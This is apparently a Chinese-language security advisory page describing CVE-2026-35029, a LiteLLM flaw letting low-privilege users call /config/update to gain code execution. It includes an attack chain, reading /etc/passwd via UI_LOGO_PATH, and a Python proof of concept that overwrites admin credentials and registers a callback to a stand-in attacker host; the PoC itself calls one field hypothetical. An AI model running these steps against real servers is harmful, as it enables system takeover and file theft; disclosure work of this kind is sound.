IPBUF安全漏洞报告
English
CVE-2026-35029 CVSS 8.8 高危

CVE-2026-35029 LiteLLM权限提升导致远程代码执行漏洞

披露日期: 2026-04-06

漏洞信息

漏洞编号
CVE-2026-35029
漏洞类型
权限提升, 远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
LiteLLM

相关标签

RCE权限提升LiteLLM配置错误CVE-2026-35029

漏洞概述

LiteLLM是一个用于调用LLM API的代理服务器。在1.83.0版本之前,其/config/update端点未能正确强制执行管理员角色授权。已认证的低权限用户可利用该漏洞修改代理配置及环境变量,注册指向攻击者控制Python代码的自定义端点。此举可能导致远程代码执行、读取服务器任意文件,甚至通过覆盖管理员凭据接管其他特权账户。

技术细节

该漏洞的核心成因在于LiteLLM在处理/config/update接口时缺乏严格的权限校验逻辑。尽管系统要求用户进行基础身份认证,但未进一步验证请求者是否具备管理员角色。攻击者首先需要获取平台上的一个普通用户凭证,随后向/config/update端点发送特制的HTTP POST请求。利用方式主要包括:首先,攻击者可以修改环境变量,注册指向攻击者控制服务器的自定义Python函数作为回调处理器,从而在服务器端加载并执行恶意代码,实现远程代码执行(RCE);其次,通过设置UI_LOGO_PATH指向服务器上的敏感文件(如/etc/passwd),结合/get_image接口即可读取任意文件;最后,通过覆盖UI_USERNAME和UI_PASSWORD环境变量,攻击者可以直接重置管理员密码,从而完全接管系统。由于配置更新直接应用于运行环境,无需重启即可生效,因此危害极大。

攻击链分析

STEP 1
1. 获取凭证
攻击者注册或获取一个LiteLLM平台的普通低权限用户账号凭证。
STEP 2
2. 发起恶意请求
攻击者利用该凭证向/config/update接口发送特制的POST请求,请求中包含恶意的环境变量或回调配置。
STEP 3
3. 执行利用
服务器端接收请求,由于未校验管理员权限,直接应用配置。攻击者通过注册的Python代码执行RCE,或覆盖UI_USERNAME和UI_PASSWORD。
STEP 4
4. 达成控制
攻击者成功获取服务器Shell权限,或使用新设置的密码以管理员身份登录Web控制台。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit for CVE-2026-35029: LiteLLM Config Update RCE # Target: LiteLLM < 1.83.0 TARGET_URL = "http://target-litellm-host:8000/config/update" ATTACKER_PAYLOAD_URL = "http://attacker-server.com/malicious_payload.py" # Attacker needs a valid session cookie (low-privileged user) COOKIE = {"_llm_user_token": "valid_low_priv_user_token"} # Malicious configuration to achieve RCE via custom passthrough handler # This payload attempts to register a handler that loads remote code malicious_config = { "environment_variables": [ { "key": "UI_USERNAME", "value": "hacker" }, { "key": "UI_PASSWORD", "value": "pwned" } ], "litellm_settings": { # Hypothetical field to register custom handler based on vuln description "custom_callback": ATTACKER_PAYLOAD_URL } } try: print("[+] Sending malicious config update request...") response = requests.post(TARGET_URL, json=malicious_config, cookies=COOKIE, timeout=10) if response.status_code == 200: print("[+] Configuration updated successfully!") print("[+] Check if UI_PASSWORD changed or RCE triggered.") else: print(f"[-] Request failed: {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error: {e}")

影响范围

LiteLLM < 1.83.0

防御指南

临时缓解措施
如果无法立即升级,建议通过网络访问控制列表(ACL)严格限制对`/config/update`端口的访问,仅允许受信任的管理员IP地址连接。同时,应监控服务器进程和文件系统的异常行为,特别是未授权的环境变量修改和Python进程的启动。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表